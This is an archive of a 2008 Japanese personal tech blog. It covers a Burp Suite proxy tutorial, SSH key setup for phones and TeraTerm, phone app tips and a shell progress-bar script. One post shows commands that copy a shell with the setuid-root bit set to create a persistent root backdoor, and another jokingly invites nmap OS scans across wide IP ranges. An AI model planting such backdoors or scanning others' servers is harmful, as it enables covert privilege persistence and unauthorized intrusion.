2008年6月4日水曜日

Burpsuite (Burp Proxy) の使い方


今日はよい子のためのWebセキュリティの講座です!
Web Vulnerability Scanners でいいのがリストされているページがあるので見ましょう。

http://sectools.org/web-scanners.html



 
このサイトにはセキュリティ関係のツールが
沢山紹介されています。
もちろん、全OS対象ですので安心です。

今日はこの中から6位にランキングされている
Burpsuite(バープスイート)というツールを導入
してみましょう。

Burpsuite : An integrated platform for attacking web applicationsBurp suite allows an attacker to combine manual and automated techniques to enumerate, analyze, attack and exploit web applications. The various burp tools work together effectively to share information and allow findings identified within one tool to form the basis of an attack using another.
訳:こいつはグレイトなツールだ! Webのアタックにも使えるぜ!ha-ha-ha-!



Burp suite のダウンロードは以下から行えます。
http://portswigger.net/suite/download.html

Windows版 http://portswigger.net/suite/burpsuite_v1.1.zip
Linux版   http://portswigger.net/suite/burpsuite_v1.1.tar.gz




今回はWindows版をダウンロードします。
解凍すると、左のようなファイル群が出てきます。
特にインストール作業は無いようですので、不要になればディレクトリごと削除して下さい。


ここで suite.bat を実行すれば burpsuite が動作するわけですが、今の段階では何も起こりません。
サイトをよく見ると

Burp Suite is a Java application, and runs on any platform for which a Java Runtime Environment is available. It requires version 1.5 or later. The JRE can be obtained for free from http://java.sun.com/j2se/downloads.html.
訳:バープスイートはJavaアプリだから、Java ランタイム v1.5以上 が無いと動かないんだよね。


と書いてありました。

JREが必要、というわけで、Java ランタイムを落とします。
sunのサイトを見るとバージョンがいろいろあって迷いますが、私はJava Runtime Environment (JRE) 6 Update 6 を入れました。
Java SE Runtime Environment 6 Windows Offline Installation






jre-6u6-windows-i586-p.exe (JRE 6本体)





jre-6u6-windows-i586-p.exe を実行するとインストーラーが起動します。
長いので説明は読まずに同意して下さい。







特にWindowsの再起動は必要ありません。
先ほどの suite.bat を実行すると、今度はDOSのウィンドウが開いてburpsuite が起動します。










●Burp Suite の設定方法


起動した直後の画面です。
基本的な機能としては

リクエスト
Webサーバ <----- BurpSuite <----- ブラウザー
応答
Webサーバ -----> BurpSuite -----> ブラウザー

といった具合に、ブラウザーとWebサーバの中間に立って、リクエストやデータを横取りしてしまおうという機能です。
もちろん BurpSuite 上で、サーバに渡る直前のデータを改変して渡すことも可能です。
一般的に、FORM からの送信内容をブラウザー側のJava Script で入力チェックをし、問題の無いデータをサーバに送信するといった仕組みも多く存在します。
そのような、ブラウザーでのエラー確認の機構をすり抜けてチェックをかけることができます。


まずはブラウザーの設定から

IE の
[ツール]→ [インターネットオプション]→ [接続]→ [LANの設定]
からプロキシーの設定をします。





Burpsuite は Proxy として動作します。
個別の環境で変更も可能ですが、下記のデフォルト設定でまず問題はありません。

■LANにプロキシーサーバを使用する にチェック
    アドレス  [ 127.0.0.1 ]
    ポート   [ 8080 ]


通常の環境であれば、設定は以上で完了です。


もし、あなたの環境が Proxy を使用しなければ Webサーバにアクセスできない場合は、Burpsuite の [ comms ] タブをクリックしプロキシーサーバを経由するよう設定を追加しましょう。

■ use proxy server  にチェックを入れる
   server [ プロキシーサーバのIP]
   port [ プロキシーにアクセスするためのポート]



   

Webサーバ <--- Proxy <--- Burpsuite <--- ブラウザ という構造になります。 ちなみに、うちの環境の場合だとこんな設定です。




●BurpSuite の使用方法



例として、ブラウザー上で Google.co.jp にアクセスしてみます。
URL に http://www.google.co.jp/ を指定して実行しますが、この時点ではブラウザー上に何も表示されません。







ブラウザーからの全ての要求は、Burpsuite で堰き止めているため
通過させたい場合には、[ forward ] ボタンを押さなくてはなりません。


特定のリクエストを廃棄したい場合には、[ drop ] ボタンを押します。
ブラウザーからリクエストがある度に、選択することになりますのでサイトによっては何十回も forward することになります。





では、
試しに、Google のテキストボックスに [ burp suite ] として検索実行してみて下さい。

intercept タブの中で、さらに params というタブがありますが
その中に今自分が入力した文字列を見つけることができるでしょう。




今回の場合、GET request 中の type URL q=burp+suite
という部分がそれです。

パラメータを直接ダブル・クリックして内容を改変してみましょう。

burp+suite +root99.blogspot.com

と入力し、 [ forward ] ボタンを押します。
Webサーバには、書き換えられた burp+suite +root99.blogspot.com の情報で送信されます。



Google の応答結果を見ると、検索内容が書き換わっていることがわかります。








インストールできた?
そしたらはやく俺の作業手伝って!!!

つづく

2008年3月16日日曜日

Advanced/W-ZERO3[es]でSSH2で公開鍵認証

アドエス(WS011SH)で SSLVPN で SSH  のつづきです。
参考:SSH2で公開鍵認証を利用する

前回までに
・Advanced/W-ZERO3[es]上でSSH2接続が使えるPocketPuTTYの入手
・サーバ上で公開鍵認証を行うためのsshd.confの設定
を行いました。


今回行いたいことは

W-ZERO3 ------(ssh2)--------> Linuxサーバ
Aの秘密鍵             Aの公開鍵は認証済みの状態

となります。
上記の[Aの秘密鍵]とは id_rsaですが、W-ZERO3上で動作する PocketPuTTY では
Faqinなことに OpenSSHで作成したid_rsaのままでは利用できません。
そのためid_rsaファイルをPuTTY形式に変換する必要があります。
全くもってPuxxyな野郎だ!



PuTTY Download Page
からhttp://the.earth.li/~sgtatham/putty/latest/x86/puttygen.exeをダウンロードして下さい。

puttygen.exe はWindowsクライアント側で各種sshのkey pairを作成する機能の他に
OpenSSHの鍵ファイルの変換機能もあります。


以下の手順で
id_rsaの秘密鍵をPuTTY形式に変換したもの→id_rsa.ppkを作成します。


1.puttygen.exe を起動する。




2.既存のid_rsaファイルを開く

[File] → [Load private key] を選択します。

ダイアログが開くので、ファイル形式を
[PuTTY Private Key Files(*.ppk)] から [All Files(*.*)] にして

全表示にした上で既存の id_rsa ファイルを指定します。





すると鍵を作成した時に決めたパスフレーズを聞かれます。
(前回Textのroot99hogeにあたるもの)









パスフレーズが正しければ
Successfully imported foreign key
(OpenSSH SSH-2 private key).
To use this key with PuTTY, you need to
use the "Save private key" command to
save it in PuTTY's own format.
と表示されます。




3.PuTTY形式に変換する。

●SSH-2 RSA のチェックが入っていることを確認し
[Save private key] ボタンを押します。











ファイル名を id_rsa.ppk として保存先を指定して下さい。






あとは、このid_rsa.ppkファイルを W-ZERO3 側のPocketPuTTYフォルダに入れておけばOK。

4.PocketPuTTYの設定

今回使用しているバージョンは
PocketPuTTY.wm6.2007-11-22.zip
です。もし画面の構成が違う場合はバージョンを確認して下さい。

[SSHタブ]を選択し、
先ほど作成した id_rsa.ppk ファイルをフルパスで指定します。






[Dataタブ] では使用するユーザ名を指定します。
Terminalサイズ等は特に変更する必要はありません。










最後に、[Sessionタブ]から

接続するサーバ名を [Host Name (or IP address)] の部分に
記述。
先ほどのタブで設定した内容を名前をつけて保存します。
[Save]ボタンを押すと、[Stored session] 欄に表示されますので
次回からは、その行を選択して [Load]ボタンを押すことで
いちいち入力する手間が省けます。



接続するとこんな画面が出ます
Using username "root99".
Authenticating with public key "imported-openssh-key"
Passphrase for key "imported-openssh-key" :

ここでパスフレーズを入力してログイン完了。



              つづく







2008年3月7日金曜日

BackDoorを作成する方法は?

・SetUID とは
UNIXのファイルには、UID(ユーザーID)とGID(グループID)があり、それぞれの単位で
ファイルを参照・書き込み・実行といった権限を設定することができます。

例えば、/etc/shadowファイルはrootユーザにのみパーミッションがついていますから
一般ユーザは読み書きすることができません。
なのに passwdコマンドを使って自分のログイン・パスワードを変更、つまり shadowファイルを
書き換えることが可能です。

どうしてこんなことが可能になるんでしょう? passwdコマンドの権限を見てみましょう。

-rwsr-xr-x 1 root root 22984  1月 7  2007 /usr/bin/passwd

所有者がrootになっていて権限のところが rws となっています。
これはプログラムに所有者のUID を Set したという意味の表示で、どのユーザから実行したとしても
実行中はrootの権限で動きます。だから shadowファイルの変更もできていたんですね。



hogeというコマンドにSetUIDする場合は次のコマンドで行います。
#chmod u+s hoge もしくは #chmod 4755 hoge



さて、
世の中にはRootKitというものがありまして、これをコンパイルしてどっかに置いといて
一般ユーザで実行したらアラ不思議 root になってしまうという物です。
要するに、rootでSuIDの仕掛けを施した普通のコマンドに見えるプログラムのことですね。


では簡単に作ってみることにしましょう。

えーと・・・。
単に /bin/sh に SuID するだけです・・・。

# whoami
root        ←※rootで実行します。

# cp /bin/sh /home/root99/changeroot.sh
#chmod 4755 /home/root99/changeroot.sh ←※SuIDします。

# ls -l /home/root99/changeroot.sh
-rwsr-xr-x 1 root root 722684 3月15 16:22 /home/root99/changeroot.sh*

# exit
# whoami      ←※一般ユーザに戻る
root99

次に一般ユーザでこのプログラムを実行したらrootで動くはず。
# /home/root99/changeroot.sh ←※実行
changeroot.sh-3.1$
changeroot.sh-3.1$ whoami     ←※ユーザを確認してみる
root99


アレっ?? 一般ユーザのままですね。



実は Linux の /bin/sh と /bin/bash には SuID した場合の対策が取られています。
手元の Unux で確認したところ、Linux 以外のshは正常にSuIDで機能しました。

#cp /bin/ksh /home/root99/chgroot.ksh
#chmod 4755 /home/root99/chgroot.ksh   ←※コピーしたkshにSuID

#/home/root99/chgroot.ksh    ←※実行
#
# whoami
root                    ←※rootになった。




上記のように、一回でもrootになることができれば、いつでもrootになれるコマンドを作ることが
できます。これが即ち rootkitの基本 。
定期的に SuIDビットの立ったファイルをチェックしてない管理者がいたとしたら、そのサーバは
知らぬ間にクラッカーの巣になっているかも知れませんよ?


※shell scriptにはセキュリティ上の理由からSuIDが正常に機能しません。
 perl の場合はperl-suidperlモジュールをインストールすることで可能です。



次回は、SuID ファイルなんかチェックしても無駄無駄無駄ぁぁぁぁぁぁ!!!!
です。

2008年3月5日水曜日

TeraTermからSSH2で公開鍵認証

●Windowsから公開認証鍵を利用する

ググったら、出来ない君な設定方法が多いので、この通りやったら絶対できるはず
というテキストをメモ代わりに置いておきます。

動作検証は以下の通りな感じ
SentOS5
 openssh-4.3p2-24.el5
 openssh-server-4.3p2-24.el5
 openssh-clients-4.3p2-24.el5

RedHat EL4/WS3
 openssh-server-3.6.1p2-33.30.14
 openssh-3.6.1p2-33.30.14
 openssh-clients-3.6.1p2-33.30.14



まずは、telnetクライアントソフトを用意しましょう。

・UTF-8 TeraTerm Pro with TTSSH2  4.58 2008-02-29 22:16
http://sourceforge.jp/projects/ttssh2/

いろいろありますが、TeraTerm がお勧めです。っていうかコレ以外ダメです。
しかし、上記以外から TeraTerm 落としてきて「SSH2で接続できません!」などと、のたまわれても
サポート出来ません。ちょっと前のだと 1.5 までしか対応してません。

あと最近主流になってきた PuTTY も無理です。理由は名前が卑猥だからです。



1.鍵の作成

Linuxサーバ側で鍵を作成します。 (鍵ペアを作るだけなので、OpenSSHに準拠(略)ならどこでも良い)

[root99@~/.ssh]# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/root99/.ssh/id_rsa): <エンター>
Enter passphrase (empty for no passphrase): root99hoge (実際には見えない)
Enter same passphrase again: root99hoge (実際には見えない)
Your identification has been saved in /home/root99/.ssh/id_rsa.
Your public key has been saved in /home/root99/.ssh/id_rsa.pub.
The key fingerprint is:c5:e0:fc:1b:94:f5:f4:89:7e:64:da:3f:39:cb:b9:91 root99@server

水色の部分はパスフレーズです。ログインのパスワードとは別物なんですが、分からなければ
まぁ、パスワードみたいなもんなので好きに決めて下さい。
これで鍵ペアが作成できました。


[root99@server ~/.ssh]# ls -lartF
drwxr-x--- 6 root99 root99 4096 2月 10 14:43 ../
-rw-r--r-- 1 root99 root99 239 12月 27 21:23 known_hosts
-rw------- 1 root99 root99 391 3月 5 06:14 id_rsa.pub
-rw------- 1 root99 root99 1743 3月 5 06:14 id_rsa
drwx------ 2 root99 root99 4096 3月 5 06:14 ./

こんな風になってますか?なってなければ
# chmod 600 id_rsa.pub id_rsa
しといて下さいね。



これからやりたいことは、

クライアントA -----SSH接続---→ サーバ
Aの秘密鍵                Aの公開鍵は認証済みの状態

という風にしたいわけです。 さっき作成したファイルで言うと
id_rsa     秘密鍵
id_rsa.pub 公開鍵
という組み合わせです。
ですので id_rsa ファイルはクライアント側で使用する物ですので、サーバで鍵ペアを作った場合は
ダウンロードして、クライアントの TeraTermフォルダにでも入れておいて下さい。
ダウンロードし終わったらサーバ側の id_rsa ファイルは削除しておきましょう。
他人に盗まれたらせっかく認証鍵を作った意味が無いですからね。


2.サーバへの認証
先ほどの公開鍵をサーバ側で認証済みの状態にするにはどうすれば良いかというと
ユーザーディレクトリの下、つまり /home/root99/.ssh/authorized_keys に記述を追加することで
可能です。
既存ファイルが無い場合は新しく作ってもいいですが
# mv /home/root99/.ssh/id_rsa.pub  /home/root99/.ssh/authorized_keys
としても同じことですね?
アクセス権が
-rw------- 1 root99 root99 221 3月 5 04:46 authorized_keys
となっていることを確認して下さい。



3.TeraTermの設定
TeraTerm を起動して [Setup] → [SSH Authentication...] を選択
User name: にログインアカウントを入力。
[Use RSA/DSA key to log in]ボタンにチェックを入れ、先ほどの[id_rsa]を選択して下さい。
[OK]ボタンを押し、
[Setup] → [Save setup...]で、TERATERM.ini ファイルを保存しておきましょう。
ちなみに、ini ファイル名は何でも構いませんので、サーバが複数ある場合は分けて作成しても
良いでしょう。


4.sshd_configの編集
これまでは一般ユーザの権限で作業していましたが、次はroot権限で作業します。

# vi /etc/ssh/sshd_config
#必ずする設定
RSAAuthentication yes #RSA認証を使う
PubkeyAuthentication yes #公開認証鍵を使う
PasswordAuthentication no #パスワードを使用しない(パスフレーズを使用する)
AuthorizedKeysFile .ssh/authorized_keys #ここのファイル名と合わせること!

#あった方が良い設定
PermitRootLogin no #rootでのログインを許可しない
ChallengeResponseAuthentication no #チャレンジレスポンス認証を許可しない
PermitEmptyPassword no #パスワード無しを許可しない
RhostsRSAAuthentication no #サーバ間のパス無しアクセスを許可しない
IgnoreRhosts yes #サーバ間のパス無しアクセスを許可しない
HostbasedAuthentication no #特定のホストのパス無しアクセスを許可しない
IgnoreUserKnownHosts yes #拒否するホストを設定するかもしれない


sshdを再起動して反映する
# service sshd restart または # /etc/init.d/sshd restart
としてサービスの再起動をします。
ちなみに、初心者の方は
「ssh でつないで作業してる時にサービス再起動していいのだろうか?」
と心配するかも知れませんが、今現在繋がってるセッションは維持されますので
サービスを停止したとしても大丈夫です。

[root@server /home/root]# /etc/init.d/sshd restart
sshd を停止中: [ OK ]
sshd を起動中: [ OK ]

正常に起動できたら、[ OK ] となるはず。これでサーバ側の設定も完了しました。
クライアントから接続できるか確認してみて下さい。

TeraTerm からのアクセスの場合は
TCP/IP Host:[ hoge.example.com ]
Service ●SSH SSH version: [ SSH2 ]
の状態で [OK] ボタンを押すと、先ほどの id_rsa キーを設定した画面が出てきますので、
認証鍵のペアを作成した時に入力したパスフレーズを
Passphrase: [ ] に入力します。 今回の例だと root99hoge
●Use RSA/DSA key to log in Private key file [ id_rsa ]
とチェックが入っていることを必ず確認して下さい。

他の Unix クライアントからアクセスする場合は
# ssh -i /home/hoge/id_rsa serverB.example.com -l root99
として、秘密鍵とユーザ名の指定をします。



※おまけ   TeraTermマクロの書き方 例(root99.ttl ) 
;Macroココカラ============================================
username = 'root99' ;ログインユーザ名
hostname = 'xxx.xxx.xxx.xxx' ;サーバのIPアドレス
LinuxPrompt = 'root99' ;ログインに成功した時に表示される文字列
PasswordPrompt = 'パスワード:' ;パスワードを要求される時に表示される文字列
getpassword 'password.dat' 'passwordROOT99' PasswordROOT99

msg = hostname
strconcat msg ':22 /ssh /KR=UTF8 /KT=UTF8 /F=TTERM001.INI /keyfile=id_rsa /auth=publickey /user='
strconcat msg username
strconcat msg ' /passwd='
strconcat msg PasswordROOT99
connect msg
settitle 'hoge.example.jp'

wait LinuxPrompt
sendln 'su -' ;自動的にrootになりたければここから下も記述
wait PasswordPrompt
getpassword 'password.dat' 'passwordROOT' PasswordROOT
sendln PasswordROOT

sendln "cd /home/root/"
sendln "alias ll='ls -lartF --color=none'"

;Macroココマデ============================================


完成したら root99.ttl アイコンをWクリックしてみましょう。
一番最初の実行時のみパスワードを聞いてきます。
(もし入力に失敗したら、TeraTermディレクトリのpassword.datの中の該当行を削除)
自動的に接続して ROOT にまでなれたら成功。

2008年2月24日日曜日

Web改竄情報

毎日どこかで誰かのWEBが改竄されている。
(・・・というセキュリティ担当者の気休めになるページ)

http://zone-h.org/
UNRESTRICTED INFORMATION

https://www.netsecurity.ne.jp/9.html
Scan NetSecurity

http://izumino.jp/Security/def_jp.html
JPドメイン Web改竄速報

http://www.fearoot.com/
日本のWEB改竄状況(※休止中のようです)




今回大漁にターゲットされたサーバは
Apache/2.0.54 (Fedora) と Microsoft-IIS/5.0 及び Microsoft-IIS/6.0
となっています。
IISの情報は多すぎるので、割愛するとして・・・。

Apache/2.0.54 (Fedora) についてですが
SecurityFocus:Apache HTTP Request Smuggling Vulnerability
これを利用した攻撃だとすると、報告日は2005年となっており、cross-site scripting がメインの
ようです。ちょっと違うっぽいな。

Fedora のみというのが気になるので 2005年当時の Fedora に存在する Security Hole を
調べてみると
Exploit Overflow Vulnerability Under Fedora Core
というのに該当。これなのかなぁ? しかしこれ Fedora Core2 って書いてるぞ??
本当にこんなの稼働してるのか?

いずれにしても、2008/02現在 Fedora 7/8が提供する最新 httpd は 2.2.8 ですから、Update
してないサーバであることは確かのようです。探せば現状でも沢山動いてそうですね。

どのくらいの稼働率なのか気になる方は、広大な IPレンジに nmap -O でもどうぞ。
リストができたら私にも送って下さいw。  (注:他人のサーバにportscanすると侵入の試みとみなされる可能性が有ります)

こんな感じで対象のOSバージョンを予測できます。
# nmap -sS -O <hoge.example.com>
PORT STATE SERVICE
22/tcp open ssh
25/tcp closed smtp
53/tcp open domain
80/tcp open http
Running: Linux 2.4.X|2.5.X, D-Link embedded
OS details: Linux 2.4.0 - 2.5.20, Linux 2.4.18 - 2.4.20, Linux 2.4.26, Linux 2.4.27 or D-Link DSL-500T (running linux 2.4)
Nmap finished: 1 IP address (1 host up) scanned in 22.277 seconds

#ちなみに、これの正解はLinux hoge 2.4.21-50.ELsmp。



※セキュリティの情報

http://www.st.ryukoku.ac.jp/~kjm/security/memo/
セキュリティホール memo
http://www.st.ryukoku.ac.jp/~kjm/security/antenna/
セキュリティアンテナ




※クラックされたらこうなる?

http://10e.org/hackedpage/
世界のハッキング画面のミラー
http://10e.org/hackedpage2/
世界のハッキング画面のミラー・第二弾

http://members.tripod.com/~yupamojo/ppnbbs.html
ポンポンネット(ppn.ne.jp)クラッキング顛末







ハッキングツール・プログラム大全  金床 (著)
ハッキングツール・プログラム大全 金床 (著)

2008年2月16日土曜日

アドエス(WS011SH)で SSLVPN で SSH

ウィルコム「Advanced/W-ZERO3 [es](型番:WS011SH)」 を導入しました。

いわゆるアドエス。
通常の価格で買うと
5万円 もする端末なのですが、2007年12月に年末までなら期間限定のキャンペーン中で無料購入できるというのにつられてしまった。
(Willcomは予定台数全部掃けるまでやるつもりなのか、2008年3月末までキャンペーン延長になった。)














画像の通り、シルバーモデルにしました。
なぜシルバーにしたかという理由は下記のとおり。



私: 「どっちの色が人気ですかね?」

店員:「黒の方が男性には売れてますね」

脳内: 黒はオッサンに人気 ⇒ 女には黒売れてない ⇒ 女にはシルバーが人気 ヽ(`Д´#)ノ

私: 「じゃ、シルバー下さい」

店員:「HA…? はい、かしこまりました! (たまにいるんだよな…こういうの)」


 こう見えて、私も一昔前まで全てのスケジュールや連絡先をザウルスで管理するPDA大好き人間
だったのですが、メモリーが飛んで
データが全て消失した時、バックアップの重要性とPDAの限界を(ry  
そんなわけで、しばらく遠ざかっていたわけですが、ここに来てまたもや火がつきそうな気配。
Nifty につながるだけで喜んでたあの頃が懐かしいですね。


所見:
 職場では主要メンバー 12人中 5人が W-ZERO3 を持つ状況です。
 はっきり言ってミーハー過ぎ。
 しかし、デスクトップのレイアウトと言うか、Today画面て言うんですが、全員カスタマイズされていて
 見た目が全く違います。 自分用に使いやすくカスタマイズする楽しみもあるんですが、それだけ
 Windows Mobile はデフォルトでは使いにくいOSだと言うこともできるでしょう。

 もしあなたが、Windows ならそこそこ使いこなしてるよって人なら、かなりお勧めです。
 是非買うべき!
 月々3000円弱で、
070相手なら話し放題になるのも大きいです。(データ定額に入るなら+1,050円)










●W-ZERO3の壁紙を変更する

最初 [設定] ⇒ [Today] の下のほうにある [□この画像を背景に使用する→参照]
で指定したのですが、画像が白っぽく表示されてしまうようです。

[プログラム] ⇒ [画像とビデオ]
の一覧の中からW-ZERO3内に保存されている画像を選択した状態で

[メニュー] ⇒ [Todayの背景に設定する...]
を選択すると、透過率を設定できます。左の画像では透過率35%くらい。
←ちなみに川村ゆきえさんです。












●エクスプローラーもカスタム

GSFinder-W03

上記サイトから [実行ファイル単体CAB] をゲット。
ハイレゾモードがあるのでファイルの一覧も楽チンになって、コピペだって
削除だって編集だってアメンボだぁーって、みんなみんな便利になるんです。

ただ、起動のたびにルートディレクトリを参照してしまうのが・・・。
 と、思ったら 設定変更で[ツール] の[オプション] から [前回終了したときのフォルダを記憶] にチェックつけてなかった。便利。











●ファイルを圧縮・解凍する

デフォルトで ZIPファイルは扱えるようです。

けどいまいち使いにくいので WinRAR の PDA版 PocketRAR を入れました。

RAR 3.71 for Pocket PC
からダウンロードしてCABをクリック。













●W-ZERO3でSSH

PocketPuTTY

W-ZERO3購入の動機となったのは、これで SSH が使えることを知ったから。 しかも
F5 の SSLVPN は、WindowsMobileにも対応しているので職場のピンチにもマクドナルドで迅速に対応可能さ!(内緒)



http://www2h.biglobe.ne.jp/~m-saeki/junk/PocketPuTTY.html
PocketPuTTY 日本語対応版
Windows Mobile 6 Classic/Professional   ※推奨(アドエスで動作確認済み)


http://www.tokuda.net/cgi-bin/fswiki/wiki.cgi?page=PocketPuTTY
PocketPuTTY for W-ZERO3 

http://www.pocketputty.net/
本家(英語)








●ブラウザーをカスタム

NetFront

まるで PDF のようなスムーズな操作感。
これに比べたら重たい IE の代替でプリインストールされている Opera の存在理由が無くなってしまう。

NetFront Browser v3.5 for Windows Mobile コンセプト版
現在はコンセプト版なので、永久に使えるかわかりませんが、あとアレとアレが対応された製品版が出たらレジストしてしまいそう。








●Yahooメッセンジャー

Windowsメッセンジャーは元からプリインストールされています。
でも普段使ってるのは Yahooメッセの方なので、ずっとあったらいいなーと思ってました。
ただ、友達登録が20人を超えていると一覧を表示しなくなるバグがあります。
おかげで滅多にやりとりしない友人を泣く泣く削除することに…。
http://crsh.client.jp/









●USB充電ケーブル

USB接続ケーブル兼充電用ケーブルてのがあるそうです。
実は付属のUSB接続ケーブルでPCと接続しているだけでバッテリー充電もしているようなので
不要なのかも知れません。
※USB充電の方が時間がかかるっぽい。








●動画を見る

プリインストールされている Windows Media Player では重たくてカクカク。
しかもWMV ファイルのみで Mpeg4 も見れないぞ!
ってことで、TCPMP がこれらを全て解決してくれます。

Windows Mobile 用
tcpmp.pocketpc.0.72RC1.pack.cab (3.1 MB)

Windows Mobile 6用 WMV 再生用 mod Codec Pack
wmpmod.cab (1.0 MB)

詳しくはここ

http://blogs.shintak.info/articles/TCPMP.aspx










●画面のキャプチャー

このブログで使用した画像は  [Fn]+[文字]  で画面キャプチャーした画像です。

Fn キーを押したままで、文字キーを押すと…、いや文字キーは両方にあるけど、
表側の方の…何て言うの?

その文字キーを押すとピロンピロン♪て言いますから、そしたらエクスプローラーで
一番上のディレクトリを見て下さい。
SCRN0001.BMP というのが出来ていますから、圧縮するなりメールするなりUSBで
右から左へ受け流すなりして下さい。











●ソフトキー

いちいち画面をタップ(スタイラスっていうとんがったので画面押すこと)
するのは面倒なことも多いです。

[スタートメニュー] ⇒ [設定] ⇒ [個人用] ⇒ [ソフトキー] の画面で
[□ ソフトキー動作を使用する] にチェックを入れると、
ボタンの上にある機能を [ 田 ] と [ OK ] キーで使えるようになります。
ちょんっと押すと、ソフトキー。 1秒以上押し続けると、元々のキーの動作となります。











●バッチファイルを書く

MortScript

いろいろできるみたいですねえ。
いっつも決まった順番で起動しているものがあるとか、手作業でやるのが面倒臭い
などという場合にはスクリプトを書いてみるのも一興。









●MP3 Player


GreenSoftware GSPlayer

Download (V2.28 Windows Mobile 5/6 PocketPC English version)

どうやらGSPlayer が動作も軽くて定番みたい。

プレイリストも作成できます。
音楽再生機として考えた場合、問題となるのはバッテリーの持ち具合。気がついたらいつの間にかバッテリー
警告が、などということもあります。連続再生でだいたい4~5時間くらいでしょうか?電車通勤の間に利用することを考えれば十分です。










●デバイスの状態を表示


という上記のような状態を避けるためにもバッテリー状況をいつでも見やすいところに表示しておきたい!という願望を叶えてくれるソフト。
バッテリー以外にもディスクやメモリの使用量を教えてくれる。

Device Status on Today









●メールのシグネチャを消す

W-ZERO3からメールを送ると sent from W-ZERO3 という文字が自動的に追加されます。
これを解除するには ¥Windows¥STMailToggleMsg を実行して下さい。


















2008年2月5日火曜日

プログレスバー(進捗表示)をLinuxのShellで表示するには?

2014 追記:ESC="\033" こっちの方が美しいな。カーソルの戻り位置を999にした方が楽だった。
2013/01 追記:なぜかcutコマンドでエラーが出るようになっていたので無視するよう修正。
2012/01 追記:再び自分の環境で必要になったので、そう言えば昔プログレスバー作ったなぁと思いググったら意外に需要があるようだ。ついでにソース表示を修正しとこう。


---
CISCOとか、ネットワーク機器のCONSOLEに繋いだ時に表示されるプログレスバー(進捗表示)を Shell で表示してみると便利かな? と思ったので作ってみた。

まずは、 #vi BAR    として/home/root99 に下記のshellを作成。
バーの表示はエスケープ・シーケンスを使うことにする。
ちなみに、 CLS="^[[2J"  と定義した場合 shell中での CLS 実行は、 Clear コマンドと同義である。

#!/bin/sh


#ESC='^['
#  ^[ は Ctrl+vの後 Esc を押すことで入力
ESC="\033"

#########################
# MAIN
#########################
if [ $# -eq 0 ]
then
 echo "Error: not arg"
 echo "$0 <LINE> <%> <Return Row> <Return Column>"
 #echo "example: $0 20 10 30 1"
 echo "example: $0 20 10 999 1"
 exit 1
fi
LINE=$1
PERC=$2
RETL=$3
RETC=$4

chrV="####################################################################################################"
chrS="____________________________________________________________________________________________________"
printf "${ESC}[${LINE};1H["
chrBAR=`echo "$chrV" | cut -c1-${PERC} 2>/dev/null`

if [ $PERC -ge 100 ];then
 CNT=0
else
((CNT = 100 - ${PERC}))
fi

chrSPC=`echo "$chrS" | cut -c1-${CNT} 2>/dev/null`

if [ $CNT -ne 100 ] ;then
printf "$chrBAR"
fi

if [ $CNT -ne 0 ] ;then
printf "$chrSPC"
fi

printf "] [ ${PERC}%%]"
printf "${ESC}[${RETL};${RETC}H"
#EOF



#chmod 755 ./BAR

で実行権限をつける。


./BAR プログラムの実行サンプル。

#!/bin/sh

CNT=0
while [ $CNT -le 100 ]
do
/home/root99/BAR 29 ${CNT} 999 1
#echo $CNT
((CNT = $CNT + 1))
done
#EOF








サンプルを実行するとこんな風にぴゅーーっと進捗バーが進行。

[root99@/home/root99/]#./BAR_sample.sh


[#################                                          ] [ 43%]



バックアップ取得などで、大体のサイズが予めわかっている場合は
CNT=`echo "scale=2;(${NOW} / ${MAX})* 100" | bc | sed "s/\\..*//"`
として、$CNT の値を %の引数とすれば良い。どうやら blogger は空白の処理が苦手っぽいので、shell 中でアンダーバー表示の
部分は空白に脳内変換してください。。。


個人的(どっかからぱくってきた)なmemo:
ESC[2J
    画面を全消去し、カーソルをホームポシションに戻す。このコマンドを
    実行する前に文字属性で背景色の設定をしておくと、その色でクリアさ
    れる。

ESC[p1;p2H
    カーソルを p1 行、p2 桁に移動する。

ESC[p1;-m
    文字属性を設定します。パラメータは最大 16 個までセミコロンで区切っ
    て同時に指定できます。指定できる属性は表 2 を参照して下さい。
ESC[p1@
    カーソル位置から右方向に p1 個、空白で埋める。

ESC[p1;p2@
    カーソル位置から右方向に p1 個、p2 で指定した文字で埋める。p2 はアス
    キーコードを 10 進数で指定する。

ESC[p1;p2;p3@
    カーソル位置から p3 で指定された方向に p1 個、p2 で指定した文字で埋め
    る。p2 はアスキーコードを 10 進数で指定する。p3 の指定方法は以下の通
    りである。
    p3 = 0; 右方向。カーソルは最後の文字の次に移動する。
    p3 = 1; 下方向。カーソルは最後の文字の次に移動する。
    p3 = 2; 右方向。カーソルは移動しない。
    p3 = 3; 下方向。カーソルは移動しない。

ESCESC
    16 進数 1BH を出力する。


表 2: 設定可能な文字属性
設定値    属性
0    全ての属性をデフォルト値にリセットする。
1    強調文字
5    ブリンク
7    反転
30    文字色を黒に設定
31    文字色を赤に設定
32    文字色を緑に設定
33    文字色を茶に設定
34    文字色を青に設定
35    文字色をマゼンダに設定
36    文字色をシアンに設定
37    文字色を白に設定
40    背景色を黒に設定
41    背景色を赤に設定
42    背景色を緑に設定
43    背景色を茶に設定
44    背景色を青に設定
45    背景色をマゼンダに設定
46    背景色をシアンに設定
47    背景色を白に設定



詳解 シェルスクリプト アーノルド ロビンス (著), ネルソン・H.F. ベーブ (著), Arnold Robbins (原著), Nelson H.F. Beebe (原著), 日向 あおい (翻訳)
詳解 シェルスクリプト

2008年1月15日火曜日

ネットストーカー?

221x251x239x234.ap221.ftth.ucom.ne.jp (221.251.239.234)
b132108.ppp.asahi-net.or.jp (202.213.132.108)
のアクセスについて。
google検索 [結果]

調べてみると、これらのアクセスが気になっている人がたくさんいるみたいだ。
何でだか怒ってる人もいた。

mixi で読み逃げが許せない!なんて文化が生まれるくらいだから無理もない。

確かに httpd の access_log を見たことが無いようなブログから入った人にしてみれば気持ち悪いこと
なのかも知れないな。
code red なんか過去の話だしね。

結論から言うと
http://www.marsflag.com/
ここのクローラー(Crawler) が Windows クライアントを使用しているせい。
検索結果で表示するための画像を pict.marsflag.com に取り込む際、複数のクライアントマシンが
取得する仕掛けなんでしょうね。よく出来てると思います。

「だったら User-Agent くらい変えてアクセスしろよ」って声が聞こえてきそうだけど、恐らく
yahoo や google と違って、サイト表示そのものを取得しないと意味がないからでしょう。
ブラウザーの種類を偽装したら見え方が違っちゃうサイトも多いですしね。
個人的には xxxxxx.crawl.yahoo.net の方がよっぽどうざいと思うんだけど、身元が明らか
だから安心なんでしょう。
これの解決策は marsflag側のクライアントに REFERER をセットしてあげることだと思う
んですけど、どうでしょね?









